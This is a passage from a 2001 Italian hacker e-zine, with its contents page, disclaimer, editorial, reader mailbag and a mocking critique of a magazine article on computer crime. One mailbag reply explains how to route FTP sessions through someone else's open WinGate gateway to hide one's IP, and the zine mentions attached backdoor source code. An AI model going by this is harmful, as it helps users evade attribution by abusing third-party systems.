## ########### ## ## ## ######## ######### ## ## ###### # ####### ## ## ## ######### ## ## ## ## ## # ## ## ## ########## ## ## ## ## ## ## # ## ## ## #### ######### ### ### ## ### ### ### ### ## #### #### #### #### ## #### ### #### #### ## ## #### #### ## #### ## #### ## #### ### #### #### ## ########### ######### ######### ######### #### ### #### ######## ## ######### ########### ## ## ## ## ## ## ## ######### ####### ######### ############ ## ## ## ## ## ## ## ## ## ## ## ########### ## ## ## ## ## ## ## ## ## #### #### ## ######### #### ######## ### #### ## ## #### #### ## #### #### #### ### #### ## ########### ######### ######### #### ######### ### #### ## ## ######### N° 2 FEBBRAIO 2001 --------------- +---------------------------==[ S O M M A R I O ]==---------------------------+ | --------------- | | [ SECURITY SYSTEM N°2 ] | | -------------------- | | | | | +--- Disclaimer .......................................by Staff | | +--- Editoriale .......................................by Staff | | +--- La posta .........................................by Staff | | +--- Allegati da non perdere...........................by Staff | | | | | +--- RIFLESSIONI | | | | | | | +-- La chicca: sconsigliata ai deboli di cuore ...by ][^XaBaRaS^][ | | | +-- Italia, la nostra bella patria ...............by Merlinus | | | | | +--- FONDAMENTA | | | | | | | +-- La rete, questa sconosciuta: II parte ........by Acido | | | +-- Networking ...................................by Merlinus | | | +-- Protocolli di rete ...........................by Merlinus | | | +-- TCP/IP I parte................................by Merlinus | | | +-- Gli stati delle connessioni TCP ..............by ][^XaBaRaS^][ | | | | | +--- BASTARD INSIDE | | | | | | | +-- Sbuazz Sbuazz 1.0 ............................by ][^XaBaRaS^][ | | | +-- Web Chat .....................................by SySF4|L | | | +-- Utenti mooooolto furbi .......................by Marm | | | +-- Social enginned ..............................by SpyBoy | | | | | +--- LINUX | | | | | | | +-- La prima installazione di Linux ..............by SySF4|L | | | +-- La programmazione "dal lato client" in C .....by ][^XaBaRaS^][ | | | +-- La programmazione "dal lato server" in C .....by Marm | | | | | +--- CRACKING | | | | | | | +--- Tanto per iniziare a crackare ...............by Zero | | | | | +--- PROGRAMMAZIONE | | | | | +--- Il linguaggio sql ...........................by AsM | +-----------------------------------------------------------------------------+ Sito web: http://ssystem.cjb.net E-mail: security_system@weedmail.com Canale IRC: #ssystem ( server irc.musichat.net ) P.S. X e ChanBot sono bot quindi è inutile cercare di avere con loro un dialogo umano ******************************************************************************** . . / \ ------------------- / \ / | \ D I S C L A I M E R / | \ / | \ ------------------- / | \ / . \ / . \ +---------+ +---------+ ******************************************************************************** W CHI SCRIVE NON SI ASSUME NESSUNA RESPONSABILITA' PER W A L'UTILIZZO DEI DATI SOTTO RIPORTATI. LE INFORMAZIONI QUI A R CONTENUTE SONO DISTRIBUITE UNICAMENTE PER SCOPO INFORMATIVO. R N NON INCORAGGIAMO NESSUNO A COMMETERE COSE ILLEGALI, ANZI N I SIAMO I PRIMI A CONDANNARE TALI ATTI. PERTANTO NON CI I N RITENIAMO RESPONSABILI PER EVENTUALI DANNI A COSE, PERSONE N G E/O ANIMALI CHE DA ALCUNI DATI CONTENUTI IN QUESTA RIVISTA G POSSANO SCATURIRE O COMUNQUE DAL CATTIVO USO DI ALCUNE INFORMAZIONI. SE SEI CONTRARIO A QUESTO GENERE DI COSE NESSUNO TI OBBLIGA AD ANDARE AVANTI CANCELLA QUESTO FILE E LEGGI TOPOLINO DETTO QUESTO....... BUONA LETTURA! ******************************************************************************** +----+ +----+ |-- |_\ ------------------- |-- |_\ |---- | E D I T O R I A L E |---- | |---- | ------------------- |---- | |---- | |---- | +-----+ +-----+ ******************************************************************************** Innanzitutto un caldo benvenuto ai nostri nuovi collaboratori ufficiali: MARM e ZERO......In questo numero abbiamo ricevuto alcuni articoli da parte di un nostro lettore: SpyBoy, in futuro potrebbe essere inserito nel nostro gruppo se fa il bravo (eheheh). Il suo articolo è stato inserito nella sezione HACKING...niente male spyboy! I nuovi autori ci aiuteranno a mandare avanti la baracca, sicuramente nel modo migliore. Complimenti ragazzi...non potevate scegliere di meglio.....eh alla faccia della modestia....eheheheh Bene, bene, non pensavo veramente che ci saremmo ritrovati qui di nuovo a chiacchierare insieme. Eravamo dubbiosi sulla vostra risposta, che a quanto sembra è stata oltre le nostre aspettative. Una cosa la devo dire subito.... spezzatevi di mano a scrivere qualche e-mail, anche un semplice "CIAO", o "ANDATE A FAR IN CULO", insomma qualsiasi cosa che ci faccia sentire da vicino la vostra presenza altrimenti sembra di scrivere questa rivista per noi stessi. (e invece i log del sito dimostrano che i lettori del n 1 sono stati parecchi n.d.SyS) Vi vogliamo VIVI!!!! Non passivi (meglio attivi eheheh)e taciturni, CASINISTI, mandate anche mail bomb sono ben accette eheheheh. Avete dubbi, qualcosa non vi ha convinti,ne sapete di più...scriveteci saremo pronti a rispondervi anche semplicemente per dire cazzate. VOGLIAMO SENTIRE LE VOSTRE URLA di gioia per l'uscita del secondo numero di SS (abbreviazione per gli amici di Security System).VOGLIAMO SENTIRE LE VOSTRE RISATE sulle cazzate che scriviamo in ogni articolo... insomma Se ci siete battete un colpo!!!!! Ricordo il nostro indirizzo di email: security_system@weedmail.com Iniziamo questa seconda avventura...Internet, la rete, cosa rappresenta questo groviglio di computers, autostrade di bit che viaggiano in tutto il mondo, miliardi di informazioni . Ragazzi abbiamo la fortuna di poter usare il più potente strumento che l'uomo abbia mai potuto concepire. Volete la ricetta dell'apple pie (per gli ignoranti torta di mele servita fredda con crema liquida calda, potrei prostituirmi per una delizia del genere) ...2 min ed eccola qui! Gli orari dei treni...vuolà il signore è servito con prenotazione del biglietto online. Ci serve un presepe per natale fatto di gelato...su internet lo trovi. L'ultima invenzione nel campo sado-maso ...un click ed ecco il modulo per l'ordinazione anonima. Insomma ragazzi, è inutile dirvi che avete a disposizione un genio della lampada, e tra non molto per andare al cesso dovremo spedire una email con richiesta di carta igienica...:). Ragazzi c'è aria di novità in questo numero, grandi novità...grandissime novità... sysfail e xabaras se la fanno insieme. Ebbene si ragazzi, mi costa ammetterlo ma sono GAY (UAHAUAHAUAHAUAH), scherzo...hanno già passato questa fase si stanno avviando verso qualcosa di più serio...il TRANS (eheheh). Scherzi a parte, questo secondo numero di SS presenta delle novità: 1- Abbiamo organizzato meglio la logica degli articoli, nel senso che cercheremo di dare una certa consequenzialità ai vari argomenti, portandovi pian piano verso gli aspetti più nascosti e profondi. Una piccola nota: noi sicuramente cercheremo di darvi quanto più possibile, ma capite bene che non possiamo affrontare tutti i temi in maniera completa, ci vorrebbero 400 numeri di SS (come dice SYsfail). QUindi cominciate a sfruttare quella cosa grigia, molliccia, spesso immersa in tanta acqua, quel materiale che non serve solo a riempire il cranio ma che ha tante altre funzioni: il vostro caro cervello. Se un argomento vi interessa di più e noi non siamo riusciti a trattarlo in maniera completa, andate su qualche bel motore e cercate...troverete tutto ciò che volete. Siate curiosi, affamati di informazioni, torno a dirvi non siate passivi, ma attivi (mi chiedevo a proposito di sta roba, tra sysfail e xabaras chi è l'attivo e chi il passivo...mah?).Comunque, come potrete notare abbiamo diviso la rivista in più sezione, per maggior ordine ed organizzazione. -SEZIONE FONDAMENTA: in questa parte descriviamo come funzionano i vari servizi di Internet, andando ad esaminare in dettaglio gli aspetti più nascosti ed oscuri. Del tipo....voi guidate l'auto, ma non sapete cosa è un carburatore, come un pistone si muove, come si attiva un ineittore, bene noi descriveremo questi aspetti. E' la sezione più importante perchè vi permette di comprendere i veri meccanisni di Internet e di conseguenza come sfruttarli al massimo. -SEZIONE BASTARD INSIDE: bè, già il nome vi fa intendere di cosa parleremo in questa parte. Gli aspetti più "bastardi" di internet, dall'hacking con tecniche di attacco, al sysadmist [chi????? By XaB] con tecniche di difesa, sicurezza. Insomma ciò che avreste sempre voluto sapere della rete e che nessuno vi ha mai detto. -SEZIONE LINUX: qui cominceremo a parlare di Linux, dalla sua prima installazione, ai suoi comandi più usati oltre che files logs , configurazioni, kernel... insomma di tutto di più. -SEZIONE CRACKING: Ebbene si, iniziamo una nuova sezione dedicata al cracking. Il nostro vero scopo è quello di capire il reale funzionamento dei vari software e...cosa c'è di meglio del cracking per entrare nei codici dei vari programmini. In questo primo anticipo partiamo in sordina, con un articolo semplice e introduttivo... vedremo in futuro cosa ci aspetta. -SEZIONE PROGRAMMAZIONE: Qui cominceremo ad addentrarci nei linguaggi di programmazione. All'inizio sarà dura ma con un pò di buona volontà arriverete a capirci qualcosa (speriamo). -ANGOLO DELLA POSTA: Tutte le email che ci giungeranno, con i vostri dubbi, le vostre domande, le vostre critiche, insomma tutto ciò che ci sottoporrete sarà riportato in questa sezione. 2- COme avete già visto, la sezione linux viene inaugurata in questo numero con un articolo importante Ohhh finalmente!!! Vi chiederete... ma sto azzo di linux, ne abbiamo sentito parlare tante volte, ma cosa cavole è? Si mangia? Si tromba? Si vende? Ragazzi è ora che vi abituate a Linux, se vorrete veramente conoscere Internet dovrete spesso scontrarvi con questo Sistema Operativo. Un breve cenno: linux non è altro che un Sistema Operativo (tipo winzoz per intenderci, non proprio cmq) appartenente alla famiglia dei sistemi UNIX LIKE. In seguito vi faremo capire perchè linux ha così tanti seguaci. Inizieremo questa sezione con un articolo dedicato alla prima installazione. 3- Stiamo realizzando il nuovo sito web di Security System, cercheremo di inserire links di siti dove potrete trovare materiale per approfondire i vari argomenti relativi alla sicurezza, articoli "seri" di vario genere (anche porno...tipo: COme utilizzare un vibratore da 50 cm senza accorgersene :)). Inoltre inseriremo una specie di VOTA CHE TI PASSA, cioè potrete inserire le vostre idee, consigli desideri e sondaggi su vari argomenti.Infine, naturalmente potrete scaricare i numeri di SS, e per i più fedeli potrete avere anche un omaggio: una serata romantica con Merlinus, definito anche UOMO DELLE CAVERNE, per i suoi modi dolci e deliziosi di affrontare impegni sessuali. SONO FORTEMENTE CONSIGLIATE LE MUTANDE IN ACCIAIO, MEGLIO SE CON RINFORZO POSTERIORE (Hihihi). VI ricordo l'indirizzo della nostra pagina web. http://ssystem.cjb.net Una breve introduzione, giovincelli. Inizieremo a parlare di cose serie, fondamentali per comprendere il vero funzionamento di internet: architettura di rete e protocolli di trasmissione. Roba dura ragazzi ma necessaria, dall'altra parte se state leggendo questa rivista siete interessati e curiosi, quindi non vi scoraggiate e stringete i denti (per non dire un'altra cosa...ehehe). Quindi andremo ad affrontare alcune cosette simpatiche che non voglio anticiparvi. Una cosa IMPORTANTE: a volte le cose vengono ripetute più volte, cioè riprese in più articoli...non sono ripetizioni. Abbiamo preferito ripetere un concetto sia perchè molte cose sono ridondanti, cioè possono far parte di concetti ed articoli diversi, quindi togliendoli avremmo reso il concetto meno chiaro. Altra motivazione è che alcuni aspetti vanno stampati nel cervello "a fuoco", cioè sono concetti importantissimi per la comprensione di cose che diremo in seguito...quindi come si dice in latino (mah...latino...prendevo sempre 2 o 3 ai compiti in classe quindi perdonate gli errori) REPETITA JUVANT....oddiiioo se mi vedesse la mia Prof., le verrebbero le convulsioni...eheheheh. SI INIZIA IL VIAGGIO.....Ladies and gentlemen , this is the capitan's speaking. Si prega di tenere le cinture ben allacciate, di non fumare spinelli e di non sniffare cocaina...stiamo decollando... ******************************************************************************** ___ ___ |___| |___| _||______ _||______ / || /_\ ---------------- / || /_\ | |/ | | L A P O S T A | |/ | | |________|__| ---------------- |________|__| | | | | | | | | ******************************************************************************** INVIATE LE VOSTRE E-MAIL ALL'INDIRIZZO security_system@weedmail.com SE NON VOLETE CHE IL VOSTRO NOME APPAIA IN QUESTA SEZIONE DOVETE RICHIEDERE ESPRESSAMENTE L'ANONIMATO. NOI DA PARTE NOSTRA CERCHEREMO DI PUBBLICARLE TUTTE O PER LO MENO QUELLE PIU' INTERESSANTI. NON FORNIAMO CRACKS O ALTRE INFORMAZIONI CHE NOI REPUTIAMO POCO ADATTE E NON "LEGALI". INOLTRE LE RISPOSTE ALLE VOSTRE DOMANDE SARANNO INSERITE IN QUESTA SEZIONE, E NON AVRETE UNA RISPOSTA PERSONALE. QUESTO PER FAR SI CHE VOSTRI DUBBI O CRITICHE O ALTRO SIANO LEGGIBILI DA TUTTI. ULTIMA COSA: CERCATE DI INVARCI DOMANDE ATTINENTI AGLI ARGOMENTI TRATTATI, ALTRIMENTI CI COSTRINGETE A RISPOSTE BREVI E SUPERFICIALI. INFATTI NON POSSIAMO RISPONDERVI IN MANIERA APPROFONDITA SU TEMI NON TRATTATI. QUESTO SEMPRE PER RENDERE COMPRENSIBILE A TUTTI LE NOSTRE PRECISAZIONI. Mail From: Blackman Subject: Wingate con ftp xxxxxxxxxxxxxxxxxxxxxxxxxxx Ciao ragazzi. Innanzitutto, complimenti per la vostra rivista. Sono contento che finalmente qualcuno abbia pensato di istruire la "massa" dei naviganti su qualcosa di serio e importante, vale a dire la sicurezza dei sistemi. Volevo farvi una domanda. Qual'è la procedura che bisogna effettuare per utilizzare un wingate su un servizio ftp? Spero che mi rispondiate. Ciao e continuate così. p.s: quando è prevista l'uscita del prossimo numero della rivista? Re: by ][^XaBaRaS^][ xxxxxxxxxxxxxxxxxxxxxxxxxxx Avrei voluto rispondere a questa e-mail in modo sgarbato, un pò come fanno tutte le riviste del settore (Phrack in primis) ma il fatto che questa è la nostra UNICA e-mail ricevuta (fino ad ora) dal primo numero di SS mi limiterò a dei toni pacati (e che cazz!!!). Allora poniamo il caso che 69.69.69.69 (ehm 69 è un numero a caso preso dalla mia fantasia :D ) sia l'ip de l wingate. Quasi sempre (e qui quasi è inteso con una probabilità del 99,9%) chi ha attivo il servizio wingate sulla porta 23, ha attivo anche altri servizi, tra cui proxy gateway, mail gateway, pop gateway, ftp gateway e chi più ne ha più ne metta. Voi direte (o almeno quelli che non lo sapevano) FTP GATEWAY???? Non sarà percaso quella cosina che ci permette di effettuare sessioni FTP prendendo in prestito il suo IP e non lasciando visibile il nostro?? Risposta : Yap. Allora che si fa? Mostriamo un esempio. Anzitutto ci colleghiamo con il nostro client testuale ftp (ma niente vieta di farlo anche con uno grafico) al wingate ftp gateway: C:\WINDOWS\Desktop>ftp 69.69.69.69 Connesso a 69.69.69.69. Il server ci risponde con: 220 WinGate Engine FTP Gateway ready e ci chiede il nome utente: Utente (69.69.69.69:(none)): Adesso poniamo il caso di voler effettuare una sessione ftp con ftp.sbuazz.com usufruendo come nome utente di "ianca". Quando il server ci prompta per un nome utente noi scriviamo: ianca@ftp.sbuazz.com Il wingate ftp gateway si collega ad ftp.sbuazz.com con nome utente ianca. Adesso ci viene chiesta una password: 331 Password required for ianca. Password: Inserite la vostra bella password e vi apparirà: 230 User ad logged in. Access restrictions apply. ftp> Perfetto, adesso è come se l'ftp gateway di mezzo non ci fosse, come se la comunicazione avvenisse direttamente tra client e ftp.sbuazz.com con la sola piccola nota che l'ip che ftp.sbuazz.com pensa di stare servendo è quello del wingate. Se siete scettici e non credete a ciò provate a fare un bel netstat C:\WINDOWS\Desktop>netstat -a .... TCP client:1161 ip_o_hostname_wingate:ftp ESTABLISHED .... tra tutte le connessioni che vi appariranno noterete solo questa di interesse, vale a dire che "client" (cioè noi) tramite la porta 1161 è collegato ad ip_o_hostname_wingate sulla porta ftp (che è la 21). Non noterete nessuna connessione diretta con ftp.sbuazz.com. Mi rimane solamente di dire alla persona che ha mandato l'email ad SS di usare il cervello per tutte le altre cose che gli interessano... insomma in questa sede non voglio incoraggiare ad usare i port scanner ma secondo te io come ho fatto ad imparare???? P.S. Tutto sommato sono stato poco duro. Adios. Questa nota è stata aggiunta in risposta ad una critica (del tutto costruttiva) che mi è stata fatta da una persona che mi ha tenuto quasi 4 ore di notte a parlare in irc :) (36k di log li faccio in un anno con certe persone) ... costui (il cui nome non sarà inserito per rispetto nei suoi confronti) ha detto le seguenti testuali parole: "come cazz pretendete di insegnare hacking a persone ke non sanno usare bene Linux ? dite tutti partiamo dall'inizio e poi iniziate con le solite cazzate dei log irc della rete, come spedire una mail anonima etc...etc... questo è quello ke penso io ... però è sempre na cosa personale ..." Bene signori vorrei chiarire un concetto *FONDAMENTALE* di questa rivista. Che il tasso tecnico del primo (e penso anche del secondo) numero di SS sia a detta di alcuni "pessimo" è vero e non sono certo i miei articoli che hanno fatto o faranno la differenza in questa zine. Invito in questa sede tutti coloro che possono aiutare SS a scrivere articoli a farlo... anche gente cazzuta o pseudocazzuta che dice "io ho imparato tutto quello che so da solo e nessuno mi ha mai insegnato nulla, quindi nelle zine per principio non ci scrivo". Bene.. quello che dite calza a pennello con la mia situazione; neanche io ho avuto una persona che mi dicesse o mi spiegasse il codice degli exploit o la concezione di certi bug. Tutti noi però da qualche parte abbiamo attinto ciò che sappiamo...chi dai libri di W.R. Stevens...chi da quelli della Jackson, chi da quelli della Apogeo...chi dagli HOWTO... chi da Play Boy. Ok e se Stevens si fosse detto: per quale motivo devo trattare certi argomenti anzichè tenermi per me tutto quello che so? Beh signori...non penso che avreste mai appreso certe cose (o forse le avreste capite molto tempo dopo). Per fortuna Stevens non ha agito così...e come lui molti altri non agiscono (e non hanno agito) così. Non dico mica di pubblicare l'exploit del P5 che avete codato con sudore, ma quantomeno se ci stanno argomenti che avete appreso (anche se nessuno ve li ha spiegati in prima persona) potreste condividere una parte di questi con gli altri. Per quanto riguarda il fatto che pretendiamo di far conoscere l'hacking dicendo come inviare una e-mail con il telnet (argomento già trattato migliaia di volte da altre testate) forse era una critica rivolta a tutte le zine a livello italiano. Io la raccolgo seduta stante in prima persona. Non ho mai detto di voler insegnare hacking...i miei articoli menzionano sempre la doppia faccia della questione e queste sono le testuali parole menzionate da Merlinus nell'editoriale precedente: "Tratteremo i vari temi partendo dal loro utilizzo "classico", spiegandone il funzionamento per poi toccare gli aspetti più nascosti [...] Tratteremo SICUREZZA [...] Inevitabilmente molti degli argomenti trattati alla fine rientrano in ciò che viene definito HACKING ma questo è solo un incidente di percorso" Qui non viene detto: vogliamo insegnare l'hacking...si parla giustamente di incidente di percorso. Se avessimo voluto farlo avremmo chiamato la rivista "Hack System" anzichè "Security System". Ok diciamolo...suvvia il primo numero di SS avrà fatto rabbrividire chiunque abbia un minimo di contegno e conoscenza...e la critica che è stata rivolta a me è più che dovuta, ma andatevi a leggere il primo numero di ogni "rivista informatica del settore" ...non penso si trovi di meglio, eccezion fatta per casi rarissimi. Le riviste che ora tengono l'underground italiano ad un livello accettabile come Newbies e Netrunners non hanno tirato fuori dei bei numeri 1...talvolta (a mio parere e discrezione) nemmeno dei bei numeri 2. Io posso solo *tentare* di migliorare ciò che scrivo essendo conscio che per me non esiste solamente linux come sistema operativo ed appoggiarmi a ciò che ha detto Merlinus in un incontro avvenuto in irc poco tempo fa: inaugurare una sezione linux cominciando a parlarne in modo approfondito. Ho concluso sbuazz Mail From: Pasqualino Subject: Netbus xxxxxxxxxxxxxxxxxxxxxxxxxxx Sono tremendamente esasperato da netbus (non riesco a trovare un sito che offra il dowload). Puoi aiutarmi? Saluti Lino Re: by Merlinus xxxxxxxxxxxxxxxxxxxxxxxxxxx Caro Pasqualino, in maniera "straordinaria" ti ho risposto di persona, ma solo ed esclusivamente per non pubblicizzare l'utilizzo di questi giochetti. Infatti come abbiamo annunciato nella parte introduttiva di questa sezione, non forniamo cracks o troiani nè tutto quello che a nostro giudizio è di "discutibile" utilizzo. Cmq di siti dove poter scaricare roba del genere ne trovate a milioni. L'unica cosa che tengo a dire è che usare certi tools è da LAMERS; infatti non credo sia bello sapere che qualcuno può giochicchiare con il nostro caro pc...a nostra insaputa. Sicuramente più avanti affronteremo il problema dei troiani, in maniera dettagliata, vedendone non solo l'utilizzo ma anche come difendersi...Non mi resta che dire... Pasqualino, Pasqualino....specialmente se vai in cerca di questa roba...non usare almeno il tuo indirizzo email... originale.... eheheh. Mail From: Kuevtiv Subject: Complimenti xxxxxxxxxxxxxxxxxxxxxxxxxxx Ciao a tutti (sto parlando con lo staff di SS vero?), io sono Kuevtiv (il nome vero lo ricavate facilmente dal mio indirizzo di posta elettronica, insieme all'anno di nascita, in effetti il codice fiscale dà meno info del mio indirizzo e-mail). Ho letto il primo numero di SS e devo dire che è davvero fatto bene. Quindi spero che continuiate, col secondo numero e con tutti gli altri, perchè qualcuno che vi segue c'è. Non ho altro da dire, vi faccio gli auguri per la rivista e vi saluto... Re: by SySF4|L xxxxxxxxxxxxxxxxxxxxxxxxxxx Grazie Kuevtiv, fa sempre piacere ricevere complimenti ma sono accettate anche le critiche sopratutto ora che siamo agli inizi quindi ci serve un minimo di "feedback" da parte di chi la rivista la legge. thnx 1K Mail From: Ilenia&MAx Subject: Complimenti xxxxxxxxxxxxxxxxxxxxxxxxxxx Ciao sono pochi mesi che ho scoperto il mondo di internet, quindi non ho molta dimestichezza, però sono vogliosa di conoscere l'immensa potenzialità che la rete offre. voi siete per me la strada che porta al sapere per favore non chiudetela vi parlo a nome di tutti quelli che come me si sono rotti le palle di siti confezionati e portali da sfigati. SIETE GRANDI CONTINUATE GRAZIE Re: by SySF4|L xxxxxxxxxxxxxxxxxxxxxxxxxx Ancora grazie, i vostri complimenti per noi sono vera e propria BENZINA. Speriamo di riceverne ancora tanti e di riuscire a soddisfare la vostra fame di informazioni. Mail From: Omoerectus Subject: Complimenti xxxxxxxxxxxxxxxxxxxxxxxx Anche se non ho compreso tutto ciò che avete scritto sulla rivista (non mi occupo di programmazione ed altro) devo farvi i complimenti per lo sforzo di diffondere agli altri un po più d'informazione. Avrei un suggerimento perchè non creare degli articoli un po' più semplici per chi è proprio a secco di conoscenze? (scusate la richiesta se volete mandarmi a cagare fate pure...) P.S. Scaricando il vostro zip oltre alla rivista a che servono gli altri contenuti. (lo so sono proprio una bestia...). Re: by Merlinus xxxxxxxxxxxxxxxxxxxxxx Omoerectus, bel nick...speriamo che ci sia qualcos'altro di eretto...ehehehe. Scherzi a parte, abbiamo voluto inserire questa ennesima email di complimenti perchè il mittente tocca un argomento importante. Abbiamo avuto critiche per l'eccessiva semplicità degli argomenti (vedi risposta di ][^XaBaRaS^][); altri ci consigliano di usare argomenti più accessibili. Non è facile ragazzi riuscire a soddisfare due fascie di netsurfers diversi. Se dovessimo scrivere per persone che del pc conoscono solo il tasto di accensione (Omoerectus, non è rivolta a te..:)), dovrebbero uscire 400 numeri per spiegare le basi. Facciamo un pò e un pò, con la speranza che nei numeri successivi il livello tecnico aumenti e anche i più sfigati riescano a seguirci. Purtroppo alcuni articoli non sono comprensibili a tutti (anche se abbastanza semplici), ma non c'è da preoccuparsi, più avanti riuscirete a masticare anche quella roba,ma da parte vostra ci vuole curiosità! Non possiamo darvi tutto, servito su un piatto d'argento, ci vuole anche una vostra fame di informazione e se un argomento non è trattato bene, o troppo facile/difficile, la rete è piena di manuali e guide...scaricate e leggete. Tutto qui. Cmq un grazie a omoerectus e per rispondere alla tua domanda: quello che trovi in allegato è: -ssystem_1.txt (rivista). -sockscan.txt (codice dello wingate scan di sysfail). -bekkoback.zip che contiene il sorgente della backdoor di Xabaras, oltre che ATTENZIONE RFC del protocollo FTP (leggi più avanti e capirai cosa sono). Mail From: Luca Subject: Info xxxxxxxxxxxxxxxxxxxxxxxx Ciao, sono un ragazzo di 16 anni, vorrei chiedervi visto che siete degli haccher se mi potete dire come si fa a leggere i messaggi del telefonino direttamente da internet... Re: by Merlinus xxxxxxxxxxxxxxxxxxxxxxxx Ehehehe.....Innanzitutto non siamo "haccher" e se per questo neanche hacker e comunque qui più che un hacker ti servirebbe il "187 servizio clienti" della Telecom...heheheheh. Cmq, che io sappia, fino ad ora è possibile inviare SMS tramite Internet, ma leggere i messaggi del tuo cellulare, eheheh mi sembra un pò strano....ehehhe. Prova ad attaccare la presa del tuo cellulare allo spinotto dietro al tuo forno a micronde...forse funziona...al massimo ti friggi il tuo cell......SCHERZO...e tanti saluti a Luca. Mail From: Luca C. Subject: Telnet e attachment xxxxxxxxxxxxxxxxxxxxxxxxxxxx Voglio farvi i complimenti per la rivista! è un ottima idea. inoltre vorrei consigliarvi di trattare, nel prossimo numero l'invio di attachments tramite Telnet; un argomento che viene spesso tralasciato da molte guide. ciao e grazie Re: by Merlinus xxxxxxxxxxxxxxxxxxxxxxxxxxxx La tua domanda è molto interessante...La risposta che ti darò sarà purtroppo molto superficiale, questo perchè è necessario avere alcune condizioni di base dei protocolli applicativi del livello 4 dellla pila TCP/IP (TELNET E SMTP). I dettagli saranno descritti, se riusciamo a rispettare la tabella di marcia, nel prossimo numero. Quindi un pò di pazienza. Per allegare un file non di testo ad un messaggio di posta elettronica, si può usare uno dei metodi seguenti: -BinHex -Uuencode/uudecode -Multipurpose Internet Mail Extensions (MIME) Lo scopo principale di questi schemi di codifica dei file è la conversione di dati binari in dati testo che possono essere trasmessi con client SMTP. I dettagli li vedremo in seguito... Sorry. ____________________________________________________________________________ / ][^XaBaRaS^][ /| +===========================================================================+ | | | | | [ La chicca: sconsigliata ai deboli di cuore ] | | | ------------------------------------------ | / +===========================================================================+/ Musica Ascoltata: Non riesco a sentire nulla oltre alle mie profonde risate. Premessa: Sto scoppiando!! Sono divertito ed indignato allo stesso tempo.. penso che sarei potuto morire se non avessi avuto il cuore forte, quindi sconsiglio a chi soffre di malattie cardio-vascolari la lettura di questo...questo.... non so come definirlo. Quello che qui vi allegherò sono le parti più importanti di un "articolo" messo su X-Factor n.89 edito da DeAgostini, chiamato "Crimini su Internet". Non chiedetemi chi l'ha scritto.... per sua fortuna non esiste un nome o un'e-mail; per quel che ne so potrebbe essere stato un lavoro congiunto di più persone che sono arrivate a queste sconcertanti scoperte. Vi prego leggete ed assaporate, i miei commenti saranno inseriti tra parentesi quadre. ... Una delle tecniche usate dai criminali elettronici è quella di allestire dei siti web contraffatti per ingannare eventuali investitori che possono versare denaro. [ Ok fin qui non si dice niente di particolare e la loro fortuna è di non parlare del lato tecnico di come queste "truffe" verrebbero perpetrate. Riusciranno a resistere nel NON dire boiate?? Mah...chi lo sa. ] ... Un altro trucco consiste nello sfruttare gli errori che inevitabilmente commette chi usa il computer. Per esempio, se il sito web legalmente valido di una società è www.company.co.uk, una società truffaldina può appostarsi su www.c0mpany.co.uk, poichè chi usa la tastiera spesso, per errore, batte lo zero (0) anzichè la "o". [ Uhm... tenetevi forte qui ] ... Questo sistema si chiama in gergo "spoofing" (in inglese: imbrogliare, parodiare) [ HUAuhaHUauhaUHAUHAuhAUHAUHAuh ... allora possiamo dire che in questo momento voi state cercando di fare un attacco di spoofing nei confronti della gente perchè li state "imbrogliando".. o forse è solo incompetenza... e se così fosse perchè mai dovete scrivere un articolo su un cazzo di argomento che non conoscete nemmeno? Suvvia, suvviaaaa l'asserzione che avete fatto è come dire che Lino Banfi è il nome spoofato di Giovanna D'Arco. Poveri hacker che per tutto questo tempo hanno cercato di predire gli ISN delle proprie vittime. Ma continuiamo ad addentrarci nei meandri di questo "preoccupante articolo". ] ... Analoghe preoccupazioni esistono negli USA, dove sono stati stanziati due miliardi di dollari per la lotta al crimine web. Il ministro della Giustizia, Janet Reno, ha destinato parte di tale somma per organizzare una "supersquadra della rete", composta da esperti di computer, investigatori e agenti FBI. [ Oddio una supersquadra della rete fatta da esperti di computer (uhm?), investigatori (gira voce che il Tenente Colombo si sia dato all'hacking) e agenti FBI (oddio ma non è proprio in questi giorni che hanno ribucato l'FBI?] ... Gli USA si sono mossi in seguito ai molti tentativi di estorsione messi in atto da hacker agguerriti contro le aziende americane. [ Aho... non mischiamo le carte tra hacker, cracker e lamer, quante cazzo di volte si deve chiarire il confronto tra queste figure?? Non dimentichiamoci che se uno viene beccato mentre usa il NetBus viene bollato come hacker dalla stampa, quindi fate un pò voi :D ] ... In questo caso il bluff è stato sventato quando la compagnia ha costretto il pirata a mettere le carte in tavola, ma in molti altri casi gli hacker l'hanno fatta franca. [ Aridaje co sto pirata = hacker. Cazzo se uno copia i CD è un pirata, se duplica cassette è un pirata, se gioca a Monkey Islan è un pirata.... se assalta le navi è un pirata :) e dulcis in fundo se cambia le pagine di un sito è un pirata. Cazzo non sapevo di essere parente del corsaro Nero. ] ... Secondo fonti attendibili, dal 1993 a oggi oltre 40 fra le maggiori istituzioni finanziarie di Londra e New York hanno subito danni da 30 miliardi di lire per volta. [ Vi prego... adesso aiutatemi a capire cosa stanno cercando di dire questi signori; concentratevi per favore perchè io ce l'ho messa tutta ma non sono riuscito a cavare un ragno dal buco (ehm quale buco? ;) ] ... I pirati entrano nei sistemi computerizzati usando delle specie di "bombe intelligenti", che scoppiano secondo un certo codice computerizzato cancellando completamente il sistema. [ Allora...procediamo con ordine. Come prima cosa: UAhuaUHAhuaUHahuuhAHUauahUHa. Ecco mi sono sfogato. Adesso: che cazzo sono ste bombe ad orologeria intelligenti che scoppiano secondo un certo codice computerizzato cancellando completamente il sistema?? Il paragone con un Trojan Horse non calza proprio; potrebbe trattarsi di Java Bomb ma non so come un server possa essere sfondato con una Java Bomb. Inoltre presupponendo che dopo debba essere chiesto un riscatto da parte di questi figli di Barbarossa... con quale cazzo di faccia potrebbero fare una richiesta del genere se queste bombe cancellano completamente il sistema?? Allora non sono poi così intelligenti come vanno millantando i signori che hanno avuto il coraggio di scrivere questo articolo. ] ... Dopo di che si inviano minacce accompagnate da richieste di denaro. [ Come volevasi dimostrare :) ] ... Il più delle volte questi crimini non vengono divulgati per paura di incrinare la fiducia dei clienti, ma, anche quando vengono segnalati alla polizia, le autorità hanno problemi nel contrastare i criminali. [ Cazzo e quei famosi 2 miliardi di dollari menzionati prima per quale motivo vengono spesi?? Che fine fanno?? Serviranno in verità a finanziare progetti neri?? Più probabile. Questi tizi non riuscirebbero a trovare un pelo nella vagina di una vergine!! ] ... Non tutti i criminali informatici hanno motivazioni economiche. [ Rizzate bene le orecchie perchè questa signori miei è la chicca della chicca. E smettiamola di parlare di criminali informatici santo Iddio!! ] ... I siti web vengono spesso attaccati solo per mandare all'aria degli affari o per il prestigio che può derivare dall'aver messo a segno un atto di pirateria [ Aridaje ] particolarmente ardito. [ Forse l'unica cosa pseudo giusta detta in tutto l'articolo sempre se non vi fosse 